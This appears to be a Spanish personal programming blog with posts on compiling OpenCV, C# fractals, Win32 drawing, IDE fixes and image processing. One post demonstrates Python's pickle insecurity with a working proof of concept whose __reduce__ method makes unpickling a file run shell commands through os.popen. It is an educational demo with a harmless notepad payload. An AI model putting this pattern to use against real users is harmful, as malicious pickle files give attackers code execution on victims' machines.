Acerca de:

Este blog contiene los códigos, ejemplos y bases de datos que he usado cuando aprendía acerca de algún tema específico. En lugar de borrarlos (una vez dominado ya el tema), he decidido publicarlos :)

martes, 22 de diciembre de 2020

Compilando las librerías Opencv 4.2 y Opencv_contrib con CMake y Visual Studio 2019

Opencv viene de dos formas: la librería ya compilada que contiene funciones libres y probadas de visión por computadora, y aparte las funciones de opencv_contrib, las cuales no tienen licencias 100% libres o aún son experimentales. Por ello opencv_contrib sólo se distribuye en código fuente que debe compilarse para poder usarlas.

El mejor tutorial que he encontrado para generar los binarios de opencv_contrib es este.

Primero nos vamos a https://opencv.org/releases/ y bajamos las fuentes "sources" de la versión que queremos, yo escogí la 4.2 por ninguna razón en especial.

Luego nos vamos a https://github.com/opencv/opencv_contrib/releases/tag/4.2.0 y descargamos las fuentes de opencv_contrib (las versiones de ambos deben ser las mismas). La lista de versiones de opencv_contrib está aquí.

Luego descomprimimos ambos archivos en la misma carpeta, yo escogí D:

Además hay que crear una carpeta a dónde irán nuestras librerías ya compiladas, yo la llamé opencv.


Luego descargamos e instalamos la última versión de CMake. Yo escogí el instalador msi para Windows.

Ejecutamos CMake, ingresamos la carpeta donde están los códigos fuente opencv (en mi caso es opencv-4.2.0) y la carpeta de destino a donde irán los binarios, luego presionamos el botón Configure:

Aquí podemos escoger si quremos que se genere la solución para Visual Studio. Yo escogí la versión 2019, a continuación se presiona Finish. Yo suelo presionar una vez más Configure después de este paso, pero puede que no sea necesario. Una vez configurado, Cmake nos mostrará las opciones de configuración:


Para compilar con opencv_contrib buscamos las siguientes opciones:

 

OPENCV_ENABLE_NONFREE debe estar seleccionado, y OPENCV_EXTRA_MODULES_PATH debe tener la ruta de la carpeta modules dentro de la carpeta donde hemos descomprimido opencv_contrib.

A continuación presionamos Generate. Este paso puede tomar algunos minutos. En la carpeta definida como el destino de los binarios aparecerá un archivo llamado OpenCV.sln que debemos abrir con la versión de Visual Studio elegida:


En Visual Studio elegimos Release, la plataforma a la que queremos compilar (yo puse x64), y tal y como dice el tutorial, compilar primero el proyecto donde dice BUILD y luego INSTALL:

Esta parte puede demorar un buen rato.

En mi caso los binarios se fueron a las carpetas D:\opencv\install\x64\vc16\bin para las dlls y D:\opencv\install\x64\vc16\lib para las librerías estáticas. Antes de poder usarlas en nuestros proyectos de Visual Studio hay que setearlas en la variable de entorno Path e INCLUDE.

En Path van las ubicaciones de las librerías:


INCLUDE debe crearse en caso de no existir, contiene la ruta a donde están los archivos de cabecera .h y .hpp. En mi caso se fueron a D:\opencv\install\include:


En Windows 10 no estoy segura si es necesario reiniciar el equipo, pero por precaución es mejor reiniciar.

Y ahora a configurar el proyecto de Visual Studio. El mejor tutorial que encontré es éste, pero no incluye las librerías opencv_contrib, pero los pasos son muy parecidos:

Ponemos el proyecto en Release y en la misma plataforma para la que fue compilada opencv (x64 en mi caso).

Configuramos lo siguiente en las propiedades del proyecto (en lugar de elegir Debug o Release, yo escogí Todas las Configuraciones):

General->Versión del SDK de Windows Última instalada (en mi caso, estoy en Windows 10 con Visual Studio 2019, mi versión es la 10.0)

En la opción Directorios de VC++ ponemos las siguientes rutas:

Directorios de archivos de inclusión: Donde se ubican los archivos de cabecera, es la misma ruta que la variable de entorno INCLUDE

Directorios de archivos de bibliotecas: Donde se ubican los archivos de librerías estáticas. Es la misma que la ingresada en la variable de entorno Path. 


Luego en la opción VC++ -> General ingresamos en Directorios de Inclusión Adicionales la ruta de la variable INCLUDE:


En Vinculador -> General ponemos en Directorios de Bibliotecas Adicionales la ruta de la variable Path donde están las librerías estáticas:

 

Y finalmente en la opción Vinculador -> Entrada, en donde dice Dependencias Adicionales, en lugar de la librería opencv_worldxxx.lib, se deben ingresar la lista de TODAS las librerías en la carpeta de la variable Path donde están las librerías estáticas:


Lo bueno, tengo este script, sólo hay que reemplazar la ruta de las librerías y escribirá en un archivo de texto la lista de todos los archivos que se hallan en esa carpeta:

@echo off
REM Next command creates a list of program files
dir "D:\opencv\install\x64\vc16\lib" > D:\list_of_libs.txt

Luego abrimos el archivo creado con notepad++ y con alt+selección se puede seleccionar sólo los nombres de los archivos para luego pegarlos:


Y eso es todo!

Y ahora la pregunta:

¿cómo distribuyo mi aplicación que usa opencv_contrib?

para distribuir esta... cosa se deben copiar los directorios apuntados por las variables INCLUDE y Path, y pegarse en rutas específicas de la pc destino. En esta pc se deben configurar las respectivas variables INCLUDE y Path para que apunten a las respectivas rutas de los archivos de cabecera h, hpp y los archivos de librerías lib y dll. A pesar de que en Visual Studio sólo se referencian los archivos lib también son necesarias las dlls.

Es probable que también sea necesario instalar los redistributables de Visual Studio 2019 para C++, se pueden descargar de aquí de forma directa. Descripción y descarga aquí.


martes, 24 de noviembre de 2020

Ejemplo de la vulnerabilidad de la librería Pickle de Python

 En la documentación de la libreria Pickle aparece esta advertencia:

"El módulo pickle no es seguro". No sólo eso, explotar su vulnerabilidad es tan fácil que se puede codificar en menos de diez minutos.

Un bonito tutorial en español de Pickle está aquí. Pero lo relevante lo dicen en esta web en inglés.

Para explicar de qué va la vulnerabilidad, primero mostraré un ejemplito tonto, le mando a la clase Pickle un código que llama a subprocess.call() y abre el block de notas en windows:

# coding=utf-8
import subprocess
import pickle
import cPickle

# pickle sample https://programacion.net/articulo/los_pickles_de_python_1860
todo = "subprocess.call(\"notepad.exe\", shell=True)"
pickle_file = file('todo.pickle', 'w')
pickle.dump(todo, pickle_file)
pickle_file.close()

# el siguiente código puede ejecutarse en otra máquina
# basta enviarle el archivo todo.pickle

pickle_file = file('todo.pickle')
todo2 = pickle.load(pickle_file)
pickle_file.close()
exec todo2

Es un ejemplo tonto porque depende de la función exec() de Python, la cual ejecuta un código arbitrario. El código para ejecutar código arbitrario directamente con Pickle nos la da la web de root4loot, lo he modificado para que en lugar de una petición a un servidor, se ejecute al abrir un archivo:

# coding=utf-8
import pickle
import cPickle

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "notepad.exe"
        return (os.popen, (s,))

def main():

    payload = cPickle.dumps(MMM())

    pickle_file = file('todo.pickle', 'w')
    pickle.dump(MMM(), pickle_file)
    pickle_file.close()

    # el siguiente código puede ejecutarse en otra máquina
    # basta enviarle el archivo todo.pickle   

    pickle_file = file('todo.pickle')
    pickle.load(pickle_file)
        
    pickle_file.close()

if __name__ == "__main__":
    main()

 

Más allá de la vulnerabilidad, se me vienen a la mente otros usos como compilación automática de código, descarga de paquetes o ejecución de archivos bat o bash. Por ejemplo, tengo el siguiente bat en mi disco D: llamado sample_bat.bat, que copié de algún sitio en internet:

@echo off
REM Next command creates a list of program files
dir "C:\Program Files" > D:\list_of_program_files.txt

En la clase MM en el código de roo4loot hago el siguiente cambio:

#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
    def __reduce__(self):
        import os
        s = "D:\\sample_bat.bat"
        return (os.popen, (s,))

 

Y al ejecutar el script de python, me creó este archivo en mi disco D: 


El único detalle es que no se imprime nada en la consola donde se ejecuta el script de python.

miércoles, 14 de octubre de 2020

Dibujando la alfombra de Sierpinski en C#

Otra entrada migrada de la vieja web, pero con los enlaces actualizados.

Me topé con esta web https://lodev.org/cgtutor/sierpinski.html que muestra cómo dibujar el fractal de Sierpinski usando C++ y recursividad. El código es bastante simple, así que decidí implementarlo en .Net.

La idea principal para dibujar el triángulo de Sierpinski está en este párrafo:

En realidad el código fuente ya está hecho. La idea era pasarlo a C# y, como valor añadido por pura diversión, meterle punteros.

Primero creé una ventana "Form1" con un PictureBox llamado "PicS":

 

 
Aparte, creé una clase llamada Sierpinski, donde está el código para dibujar el fractal. Form1 sólo posee este código:

  

 
La variable "unaVez" se encarga de que el fractal sólo se dibuje una vez al ejecutar el programa.
El código de la clase Sierpinski es:
 
 
using System;
using System.Drawing;

namespace Sierpinsky
{
    unsafe class Sierpinski
    {
        public Graphics Draw(Graphics g, int ancho, int alto)
        {
            Graphics g0 = g;
            Point* esq = stackalloc Point[3];         
            esq[0].X = 50;
            esq[0].Y = alto - 10;
            esq[1].X = ancho - 10;
            esq[1].Y = alto - 10;
            esq[2].X = ancho/2;
            esq[2].Y = 10;
            Sierp(g0, esq, 0);
            g = g0;                                 
            return g;
        }      

        private void Sierp(Graphics g0, Point* p, int n)
        {
            Pen pen = new Pen(Color.Black, 1);
            g0.DrawLine(pen, p[0], p[1]);
            g0.DrawLine(pen, p[1], p[2]);
            g0.DrawLine(pen, p[2], p[0]);
            Point* p2 = stackalloc Point[3];

            if (n<7)
            {
                p2[0].X = (p[0].X + p[1].X)/2 + (p[1].X - p[2].X)/2;
                p2[0].Y = (p[0].Y + p[1].Y)/2 + (p[1].Y - p[2].Y)/2;
                p2[1].X = (p[0].X + p[1].X)/2 + (p[0].X - p[2].X)/2;
                p2[1].Y = (p[0].Y + p[1].Y)/2 + (p[0].Y - p[2].Y)/2;
                p2[2].X = (p[0].X + p[1].X)/2;

                p2[2].Y = (p[0].Y + p[1].Y)/2;

                Sierp(g0, p2, n+1);

                p2[0].X = (p[1].X + p[2].X)/2 + (p[1].X - p[0].X)/2;
                p2[0].Y = (p[1].Y + p[2].Y)/2 + (p[1].Y - p[0].Y)/2;
                p2[1].X = (p[1].X + p[2].X)/2 + (p[2].X - p[0].X)/2;
                p2[1].Y = (p[1].Y + p[2].Y)/2 + (p[2].Y - p[0].Y)/2;
                p2[2].X = (p[1].X + p[2].X)/2;
                p2[2].Y = (p[1].Y + p[2].Y)/2;

                Sierp(g0, p2, n+1);

                p2[0].X = (p[0].X + p[2].X)/2 + (p[2].X - p[1].X)/2;
                p2[0].Y = (p[0].Y + p[2].Y)/2 + (p[2].Y - p[1].Y)/2;
                p2[1].X = (p[0].X + p[2].X)/2 + (p[0].X - p[1].X)/2;
                p2[1].Y = (p[0].Y + p[2].Y)/2 + (p[0].Y - p[1].Y)/2;
                p2[2].X = (p[0].X + p[2].X)/2;
                p2[2].Y = (p[0].Y + p[2].Y)/2;
                Sierp(g0, p2, n + 1);     
            }
        }
    }
}

 
 
Y el resultado es éste: 

 
 Por ahí debo haber puesto al revés una suma, pero de salir, salió.

 
Si a la función "Sierp" le hago la siguiente modificación:
 
private void Sierp(Graphics g0, Point* p, int n)
{
    Pen pen = new Pen(Color.Black, 1);
    g0.DrawLine(pen, p[0], p[1]);
    g0.DrawLine(pen, p[1], p[2]);
    g0.DrawLine(pen, p[2], p[0]);
    Point* p2 = stackalloc Point[3];

    if (n<7)
    {
        p2[0].X = (p[0].X + p[1].X) / 2 + (p[1].X - p[2].X) / 2;
        p2[0].Y = (p[0].Y + p[1].Y) / 2 + (p[1].Y - p[2].Y) / 2;
        p2[1].X = (p[0].X + p[1].X) / 2 + (p[0].X - p[2].X) / 2;
        p2[1].Y = (p[0].Y + p[1].Y) / 2 + (p[0].Y - p[2].Y) / 2;
        p2[2].X = (p[0].X + p[1].X) / 2;
        p2[2].Y = (p[0].Y + p[1].Y) / 2;

        Sierp(g0, p2, n+1);

        p2[0].X = (p[0].X + p[2].X) / 2 + (p[1].X - p[0].X) / 2;
        p2[0].Y = (p[0].Y + p[2].Y) / 2 + (p[1].Y - p[0].Y) / 2;
        p2[1].X = (p[0].X + p[2].X) / 2 + (p[2].X - p[0].X) / 2;
        p2[1].Y = (p[0].Y + p[2].Y) / 2 + (p[2].Y - p[0].Y) / 2;
        p2[2].X = (p[0].X + p[2].X) / 2;
        p2[2].Y = (p[0].Y + p[2].Y) / 2;

        Sierp(g0, p2, n+1);

        p2[0].X = (p[1].X + p[2].X) / 2 + (p[2].X - p[1].X) / 2;
        p2[0].Y = (p[1].Y + p[2].Y) / 2 + (p[2].Y - p[1].Y) / 2;
        p2[1].X = (p[1].X + p[2].X) / 2 + (p[0].X - p[1].X) / 2;
        p2[1].Y = (p[1].Y + p[2].Y) / 2 + (p[0].Y - p[1].Y) / 2;
        p2[2].X = (p[1].X + p[2].X) / 2;
        p2[2].Y = (p[1].Y + p[2].Y) / 2;

        Sierp(g0, p2, n + 1);              
    }
}

 
El resultado será:
 
 No está mal :)


Lo mismo se puede conseguir modificando un poquito la función Sierp, simplemente añadiendo un puntero:
 



El proyecto completo hecho en Visual Studio Express 2008 se puede descargar de aquí. A diferencia del código en C++, mi código usa una sola función (la función recursiva) para dibujar el fractal.

miércoles, 7 de octubre de 2020

Error ORA-02185: a token other than WORK follows COMMIT

Es un mensaje muy feo para un error tan tonto: Una de las razones para que se genere este error en PL/SQL de Oracle es poner commit en lugar de commit; (con el punto y coma al final).

La versión que uso es Oracle 11g.

Más info aquí.

lunes, 17 de agosto de 2020

Dibujando la espiral de Fermat en Visual C++ 2017

Tomando como base esta aplicación https://programacionamartillazos.blogspot.com/2020/07/ejemplo-del-uso-de-la-api-de-windows.html quise crear la espiral de Fermat en Visual C++.

Primero se debe crear un nuevo proyecto de C++ para Escritorio de Windows:

 

En la función WndProc se deben declarar las siguientes variables:

 

Intenté que la espiral se dibujara al crear la ventana o activarla, pero sólo obtenía una ventana toda negra, éste es un detalle que no he podido resolver, así que decidí dibujar la espiral al hacer clic. Para esto se debe poner el siguente código dentro de la sentencia switch, de modo que la ventana también recibirá los eventos (mensajes) que se disparan al hacer clic con el botón izquierdo del ratón:


Lo que hace el código es obtener las coordenadas (x.y) a partir de la fórmula de la espiral de Fermat y dibujar en ellas un pequeño recuadro. En windows no hay una función para dibujar puntos, pero éstos se pueden emular dibujando rectángulos o círculos muy pequeños. El código después del bucle es para copiar el dibujo a un mapa de bits en memoria. Después de algunas pruebas, hallé un incremento y una cantidad de puntos tales que permiten ver cómo se dibuja la espiral en tiempo real:

El resto del código es para que tremenda espiral no se borre al minimizar y maximizar la ventana, el mapa de bits con la espiral se copia a la ventana en el evento repaint (mensaje WM_PAINT):


Ya con este código, y cambiando las fórmulas, se pueden dibujar otras espirales, como la de Doppler:

 

Y ya poniendo otras funciones (simplemente mezclando senos, cosenos y tangentes), conseguí dibujar cosas más interesantes:


El proyecto completo puede descargarse de aquí. Incluye más dibujos :)

martes, 21 de julio de 2020

Ejemplo del uso de la Api de Windows para dibujar rectángulos: api Rectangle()

El código que voy a mostrar a continuación está basado en este tutorial:
http://msdn.microsoft.com/en-us/library/windows/desktop/dd145184%28v=vs.85%29.aspx
pero hace algo mucho más simple: dibuja cuadraditos en donde se hace click con el cursor:



Como estoy usando la api de Windows, recomiendo leer este otro tutorial para entender el bucle de mensajes y qué significa cada pedazo de código que voy a presentar.

Windows tiene varias funciones para dibujar figuras gemétricas y texto, en este caso voy a usar la api Rectangle(), la cual recibe como parámetros el identificador o "handle" de dónde se va a dibujar y las coordenadas de las cuatro esquinas del rectángulo.
El handle es un número que identifica la "superficie de dibujo", en este caso es nuestra ventana, para obtenerlo tenemos otra api: GetDC().
El evento que nos interesa es cuando se hace clic con el botón izquierdo, en el bucle de mensajes de la ventana es el mensaje WM_LBUTTONDOWN:



La variables necesarias son:


Se declaran estáticas para que sus valores sean persistentes y no sea necesario inicializarlas.

Las coordenadas del cursor se obtienen con la api GetCursorPos() que obtiene las coordenadas con respecto a la esquina superior de la pantalla. Para convertirlas a corrdenadas sobre la ventana se obtiene la ubicación de ésta con si sin la barra de título. para esto se usan las apis GetWindowRect() y GetClientRect(). El objeto HPEN sirve para indicar de qué color y con qué relleno queremos los rectángulos. Éstos se dibujan con la api Rectangle(). la Api ReleaseDC() es para liberar la memoria usada.

La vatiable hscreen es del tipo HDC y se coló en el código pues no se usa. Está obteniendo el handle del escritorio de Windows, el cual Windows devuelve al pasarle cero a la api GetDC().

Lo malo es que al minimizar la ventana, o taparla por otra, y volverla a mostrar, se borra lo que hemos dibujado. Para evitarlo se debe copiar la imagen de la ventana y pegarla en el evento repaint que para la api de Windows es el mensaje WM_PAINT.


Primero declaro otras dos variables:

 
Y en los mensajes WM_LBUTTONDOWN y WM_PAINT añado el siguiente código (en el mensaje WM_LBUTTONDOWN va después de llamar a la api Rectangle()):


Lo que hace el código añadido es, cuando se hace clic, crear un mapa de bits en memoria y copiar en él la imagen que se muestra en la ventana. Al repintarse la ventana se copia el mapa de bits en memoria de vuelta a la ventana, haciendo que parezca que no se ha borrado. Para copiar mapas de bits en ventanas, memoria o viceversa, uso la api BitBlt().


viernes, 5 de junio de 2020

Cómo corregir el error taskdef class com.sun.tools.ws.ant.WsImport cannot be found using the classloader AntClassLoader[] de Neatbeans 8.2

Tengo un proyecto de Netbeans 8.2, el cual incluye un cliente o referecia a un webservice. Todo estába bien hasta que quise depurarlo en Centos 7, donde fue que me saltó este error al querer compilarlo:

taskdef class com.sun.tools.ws.ant.WsImport cannot be foundusing the classloader AntClassLoader[]

Como dije, en mi Windows estaba todo bien ¿que pasó?
Rebuscando en la web halle la solución luego de tres intensos minutos de pruebas, justo aquí.

Seguimos las instrucciones:
  1. ir a  Herramientas->Opciones->Java->Ant.
  2. Hacer clic en "Add JAR/ZIP..." bajo la sección Classpath
  3. Ir a "C:\Program Files\NetBeans x.y\enterprise\modules\ext\metro\"
  4. Seleccionar todos los archivos.
  5. Clic en Ok e intentar la importación/compilación de nuevo.
 


Mi instalación de Netbeans está en /home/pc/netbeans-8.2rc. los archivos que busco están en /home/pc/netbeans-8.2rc/enterprise/modules/ext/metro/
Se deben importar todos:



Luego, al compilar, me salió el error:

/nbproject/jaxws-build.xml:22: class com.sun.tools.ws.ant.WsImport2 doesn't support the "encoding" attribute.

El Netbeans indica que el error sucede en la línea 22 del archivo jaxws-build.xml, para ir allí hay que hacerle clic al enlace en la línea donde se muestra el error (en la ventana Output):



Lo que se debe hacer aquí es borrar la etiqueta encoding en todas las líneas donde salte el error. Ya con esto, el netbeans me permitió compilar mi proyecto.

jueves, 23 de abril de 2020

Los Filósofos Comiendo en Java con Netbeans

Una explicación de este problema está en este enlace. Se trata de un problema de concurrencia: en una mesa circular hay cinco filósofos con cinco platos y cinco cucharas al lado derecho de cada uno. Todos deben poder comer sin fastidiar al filósofo de al lado. A su vez, cada filósofo emplea un tiempo en dejar de comer y ponerse a pensar.
Aquí los filósofos son hijos y las cucharas son recursos compartidos. En mi caso, las cucharas son accesos exclusivos a archivos compartidos.
Para evitar problemas de deadlock (un hilo no libera un recurso que otro necesita, mientras que el segundo hilo mantiene un recurso que el primero necesita...) o starvation (todos los recursos compartidos están ocupados), incluí varias reglas y sincronismos, por ejemplo que los filósofos sólo podían coger las cucharas a su izquierda (identificadas por sus índices). La mesa circular se simula jugando con los índices, el filósofo al que se le asigna el índice cero recibe la última y la primera cuchara:

La clase Spoon recibe como parámetros el índice del filósofo al que ha sido asignada, el número total de filósofos y los nombres de los archivos. La clase Philosopher recibe como parámetros dos objetos Spoon, el lugar que ocupa en la mesa (es decir su índice en el array), y su nombre. Es en esta clase donde se realizan las funciones multihilo.

Los archivos aparecerán en la carpeta del proyecto:


Nunca aparecerán más de cuatro archivos file1x.tmp por la regla que añadí: si se ocupan todas las cucharas, el filósofo debe soltarlas:


El proyecto completo se puede descargar de aquí, corre en java 8.

jueves, 12 de marzo de 2020

Evitar la edición automática de texto en Libre Office 6

Una cosa que odio es cuando un editor de texto edita automáticamente lo que escribo. Estaba listando unas rutas de linux en un archivo en Libre Office Write, y succedía que un texto como /home/user01/ me lo formateaba como homeuser01. Tenía que poner Crtl+z para deshacer lo que el editor insistía en hacer.
Rebuscando en los foros y la documentación de Libre Office, encontré que es muy fácil evitarlo, hay que ir a "Herramientas->Corrección Automática" y deseleccionar "Al escribir":


Si se quiere un control más preciso, se puede ir a "Opciones de corrección automática" y deseleccionar en la pestaña "Opciones" donde dice "Negrita, Itálica, tachado y subrayado automáticos":


Concuerdo con lo que dice alguien en este foro:
"Esto NUNCA debería ser un valor por defecto: este es el tipo de estupidez que hace que LO sea imposible de usar por nuevos usuarios.
Cuando alguien escribe algo, espera obtener lo que escribió a menos que diga lo contrario. ¡A quien se le ocurrió esta idea debería ser arrojado al río con una ruta de directorio de Unix atada al cuello! ;-)"

Yo propongo /dev/null como esa ruta de directorio Unix >:)

jueves, 20 de febrero de 2020

Ecualización del Histograma de una Imagen a Color

Otra entrada migrada de la vieja web:

Revisando mi programa para ecualizar el histograma de una imagen en blanco y negro, pensé que ya era hora de aplicar el mismo algoritmo pero para imágenes a color. El procedimiento es el mismo que el que explico aquí, pero la ecualización se aplica sobre las tres componentes de cada píxel (R,G,B). Aparte, le hice una mejora al código fuente: todo lo que es el procesamiento de la imagen está en una clase separada del código del formulario (la ventana del programa). La clase de llama "Imagen" y tiene un solo método: "EcuHistograma" que devuelve un mapa de bits con la imagen ya procesada. A continuación está el código que ecualiza el histograma para los tres planos R, G y B:


La imagen con el histograma ecualizado es:




Añadiendo Ruido Tipo Perlin


En Internet, ya no recuerdo cómo, me topé con esto:  https://flafla2.github.io/2014/08/09/perlinnoise.html. Debo admitir que en un principio fue difícil de entender la lógica detrás del Ruido de Perlin, mas después de mucho leer y revisar los seudocódigos, entendí de qué trataba todo:
1. Se tiene un píxel de una imagen con sus dos coordenadas: X e Y.

2. Se ingresan las coordenadas X e Y. A partir de esos dos valores, la función que genera el ruido de Perlin devolverá un solo valor, el cual se sumará o restará al píxel correspondientes a dichas coordenadas.

3. Es importante que para unos valores dados de X e Y, la función generadora del ruido de Perlin siempre dé como resultado el mismo valor, por ello se dice que es seudoaleatoria: inicia con ciertos valores aleatorios al inicio del algoritmo y que no vuelven a variar a menos que se vuelva a correr el algoritmo desde cero. Los números aleatorios se crean al inicio solamente. La función generadora sería totalmente aleatoria si generada un número aleatorio para cada píxel, mas siempre utiliza los mismos números.

Esto es más fácil de comprender en esta web, donde está el algoritmo del que basé mi código: http://www.sepcot.com/blog/2006/08/PDN-PerlinNoise2d. Este código está hecho para el programa Freeware escrito en C#: Paint.Net. Yo lo adapté para que funcionara de forma independiente, además le añadí una segunda función para generar ruido, basada en funciones trigonométricas. Al combinar mi función con la original, y jugar con algunas constantes, obtuve un interesante efecto de cuadraditos:



El código completo para ecualizar histogramas de imágenes a color y añadir ruido Perlin puede bajarse de aquí (para Visual Studio Express 2008).

miércoles, 22 de enero de 2020

Ecualización del Histograma de una Imagen en C#

Otra entrada migrada de la vieja web :)


Jugando con el Visual Studio Express, cogí mi anterior algoritmo en Matlab para ecualizar el histograma de una imagen y lo quise adaptar para C# (y de paso lo optimicé un poco). La función para cargar la imagen de prueba (en el evento Load del formulario) es espantosamente complicada, esto se puede mejorar usando la clase Path de System.IO (lo que se hace es cargar una imagen que esté en la misma ruta de la aplicación).


El programa (para Visual Studio 2008) se puede descargar de aquí. El algoritmo para ecualizar el histograma está dentro del evento click del ratón. Está pensado para valores negativos también, para el caso en que la imagen a ecualizar haya tenido algún tratamiento intermedio que genere valores negativos (los objetos Bitmap sólo aceptan valores entre 0 y 255). 


lunes, 20 de enero de 2020

Filtrado E Histograma De Una Imagen Para Matlab 6.5 ó 7

Otra entrada migrada de la vieja web :)


Una imagen digitalizada no es más que una matriz de números, donde cada número representa el valor de un píxel. Se diferencia de una señal digitalizada en que una señal es un vector, o varios vectores separados (como el caso de la música estéreo, compuesta por dos vectores de números que representan los canales derecho e izquierdo).

Para el procesamiento de una imagen existen varias técnicas, las cuales se usan para obtener información no visible, resaltar bordes, suavizarlos, quitar detalles irrelevantes, agrupar objetos, eliminar el fondo, etc.

Una técnica muy usada es el filtrado, el cual puede ser lineal o no lineal. El filtrado lineal es simplemente convolucionar la imagen con una matriz predefinida. (la convolución es una operación de sumas y multiplicaciones que se usa tanto en señales como en imágenes). Un filtro lineal es el "Filtro de Promedio" o "Mean Filter". Se usan para suavizar, detectar o resaltar bordes, eliminación de ruido, etc.

El filtrado no lineal se compone de técnicas más complicadas. El más básico es el Filtrado de Mediana o "Median Filter", que consiste en coger una pequeña porción de la imagen (generalmente 3x3 píxeles), evaluar el valor de los píxeles y cambiar sus valores al de aquél que tenga un valor central. Es útil para eliminar ruido impulsivo.

Otra técnica muy usada es la "Ecualización del Histograma". El Histograma de una imagen es el ploteo de los valores de sus píxeles. Una imagen en blanco tendrá todos sus valores iguales a 255, si la mitad es negra, en la gráfica del histograma aparecerán dos líneas iguales a ambos extremos: en los valores correpondientes al 0 y al 255. Una imagen de escala de grises tendrá en su histograma "x" píxeles con el valor 0, "y" píxeles con el valor 1, etc.

Así, el histograma es la representación de la densidad de probabilidad de cada valor de gris para esa imagen.

Tanto el histograma, como el histograma ecualizado, son vectores.

Ecualizar el Histograma es hacerlo lo más llano y separado posible. Esto hace que los píxeles se distribuyan más ampliamente por todo el rango de valores (del 0 al 255) y que en la imagen ecualizada se resaltarán detalles que antes no eran evidentes.

Para generar una imagen con el histograma ecualizado se requieren varios pasos:

1. Calcular el histograma de la imagen

2. Normalizar el histograma (dividirlo entre el número total de píxeles)

3. Calcular el histograma acumulado (ir sumando los píxeles desde el valor 0 al 255, esto originará una gráfica creciente)

4. Se aplica el algoritmo (como se trata de matrices, debe estar dentro de dos bucles anidados):

Para valores de la imagen original distintos de cero:
imagen_ecualizada(i,j) = histograma_acumulado(imagen_original(i,j))

Para valores de la imagen original iguales a cero:
imagen_ecualizada(i,j) = histograma_acumulado(imagen_original(i,j)+1)

Donde lo que va entre paréntesis es el índice, o índices, de cada píxel de la imagen o de cada valor del histograma. Así  "imagen_original(i,j)" viene a indicar el índice del vector del histograma acumulado correspondiente. De esta manera se le asigna a cada píxel de la imagen ecualizada (o imagen con el histograma ecualizado) la densidad de probabilidad acumulada correspondiente al valor del píxel de la imagen original.
Como este algoritmo está hecho para Matlab, y como Matlab no maneja índices iguales a cero, se considera que el histograma va de 1 a 256, en lugar de 0 a 255. Así la densidad de probabilidad del valor cero será la que está en el índice 1 en el vector del histograma.

El algoritmo que presento akí está considerado para matrices con valores tanto positivos como negativos. Es un archivo zip que incluye ejemplos de filtraje, ecualización y eliminación de ruido.

Link de donde aprendí la teoría para poder hacer esto:

http://homepages.inf.ed.ac.uk/rbf/HIPR2/filtops.htm